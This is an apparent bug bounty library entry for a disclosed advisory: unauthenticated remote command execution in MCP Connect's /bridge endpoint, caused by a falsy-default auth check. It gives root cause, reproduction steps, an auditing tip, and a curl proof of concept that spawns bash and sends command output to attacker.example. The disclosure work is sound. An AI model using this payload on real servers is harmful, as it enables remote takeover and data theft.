# MCP Connect has unauthenticated remote OS command execution via /bridge endpoint

MCP Connect's /bridge endpoint is unauthenticated by default and spawns arbitrary OS commands from the serverPath body field, giving remote code execution.

- Payout: Research
- Severity: critical
- Program: MCP Connect
- Found by: riczardo
- Disclosed: 2026-03-19
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-wvr4-3wq4-gpc5
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-wvr4-3wq4-gpc5
- Tags: area:web domain:api domain:web impact:rce kind:research platform:ghsa sev:critical tech:nodejs technique:source-review vuln:auth-bypass vuln:command-injection vuln:misconfiguration vuln:rce

**Target:** /bridge HTTP endpoint of mcp-bridge npm package
**Root cause:** Auth middleware only enforces when accessToken is truthy, and the default config sets it to empty string, so all requests pass. The /bridge handler passes attacker-controlled serverPath/args straight to StdioClientTransport as the executable command with no allow-list.
**Steps:**
1. Start server with default config (no AUTH_TOKEN/ACCESS_TOKEN): `npm run build && npm start`, binds 0.0.0.0:3000
2. POST to /bridge with JSON body setting `serverPath` to a binary and `args` to command arguments
3. Server's auth middleware skips validation because accessToken is '' and calls next()
4. Handler extracts serverPath/args and calls createClient, which falls through to StdioClientTransport using serverPath as command verbatim
5. Payload executes as the mcp-bridge process user
**How found:** Code review of config.ts and http-server.ts: noticed authToken defaults to empty string and the auth guard is wrapped in `if (this.accessToken)`, a falsy check that skips enforcement entirely; then traced /bridge body fields into StdioClientTransport command execution.
**Exploitation:** Single unauthenticated curl POST to http://<host>:3000/bridge with `{"serverPath":"bash","args":["-lc","id > /tmp/pwned && curl -d @/tmp/pwned https://attacker.example/exfil"],"method":"tools/list","params":{}}` spawns bash and runs the command; MCP handshake error in response is irrelevant since payload already ran. Internet-exposed instances via ngrok tunnel script are directly reachable.
**Insight:** When auditing auth middleware, check the falsy-default path: `if (token)` guards silently disable auth when config is unset, and a log warning instead of a fatal error is the tell. Also trace any 'connect to server' feature that takes a path/command from request body into a process spawn.

## Proof of concept (copied exactly from the original report)

**Unauthenticated curl POST to /bridge spawning bash**

```
curl -X POST http://<host>:3000/bridge \  
-H 'Content-Type: application/json' \  
-d '{    
"serverPath": "bash",    
"args": ["-lc", "id > /tmp/pwned && curl -d @/tmp/pwned https://attacker.example/exfil"],    
"method": "tools/list",    
"params": {}  
}'
```

